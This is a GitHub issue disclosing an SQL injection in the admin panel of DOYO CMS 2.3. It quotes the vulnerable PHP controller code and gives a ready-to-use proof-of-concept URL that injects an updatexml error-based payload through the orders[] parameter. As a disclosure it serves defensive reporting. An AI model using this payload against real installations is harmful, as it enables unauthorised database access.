New issue

Jump to bottom

SQL INJECTION AT ADMIN PAGE #3

Open **seabird1992** opened this issue on Jul 20, 2019 · 0 comments

seabird1992 commented on Jul 20, 2019 • edited

code view:

a_classtypes.php - 记事本

文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)

```
	}
	function del(){
		if(!$this->auser->checkclass($this->syArgs('tid')))message_a("无权操作本栏目");
		$this->toptxt='删除栏目';
		$this->d=$this->ClassT->find(array('tid'=>$this->syArgs('tid')));
		$tid=$this->d['tid'];
		if ($this->syArgs('run')==1){
			$tida=$this->types->leafid($tid);
			foreach (explode(',',$tida) as $v){
				$types=$this->ClassT->find(array('tid'=>$v),null,'tid,molds');
				$db=$this->db.$types['molds'];
				syDB($types['molds'])->findSql('DELETE '.$db.','.$db.'_field FROM '.$db.','.$db.'_field WHERE '.$db.'.id='.$db.'_field.aid and '.$db.'.tid='.$v);
				if($types['molds']=='product'){
					$attribute=syDB($types['molds'])->findAll(array('tid'=>$v),null,'id,tid');
					foreach ($attribute as $va){
						syDB($types['molds'].'_attribute')->delete(array('aid'=>$va['id']));
					}
				}
			}
			deleteDir($GLOBALS['G_DY']['sp_cache']);
			if($this->ClassT->delete(' tid in('.$tida.') ')){
				syAccess('c','classtype');
				syAccess('w','classtype',syDB('classtype')->findAll(null,null,'tid,classname,pid,molds'));
				message_a("栏目删除成功","?c=".$this->Get_c);
			}else{message_a("栏目删除失败,请重新提交");}
		}
		$this->msgtitle='确定要删除栏目 <strong>['.$this->d['classname'].']</strong> 吗？';
		$this->msg='警告：本操作将自动删除栏目下所有已发布内容（包括下级栏目内容）<br>本操作不可逆！建议删除前备份数据库！';
		$this->msggo='<a href="?c='.$this->Get_c.'&a=del&run=1&tid='.$tid.'">确定删除</a> <a href="?c='.$this->Get_c.'">取消操作</a>';
		$this->display("msg.html");
	}
	function alledit(){
		$orders=$this->syArgs('orders',2);
		foreach($orders as $k=>$tp){
			if($this->auser->checkclass($k))$this->ClassT->update(array('tid'=>$k),array('orders'=>$orders[$k]));
		}
		deleteDir($GLOBALS['G_DY']['sp_cache']);
		jump('?c='.$this->Get_c);
	}

}
```

Windows (CRLF) 第 143 行，第 14 列 100%

payload:
login to admin page,then input url:
http://localhost/DOYO_2.3_20130118/admin.php?c=a_classtypes&a=alledit&orders[]=1%27%20or%20updatexml(2,concat(0x7e,(version())),0)%20or%27

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant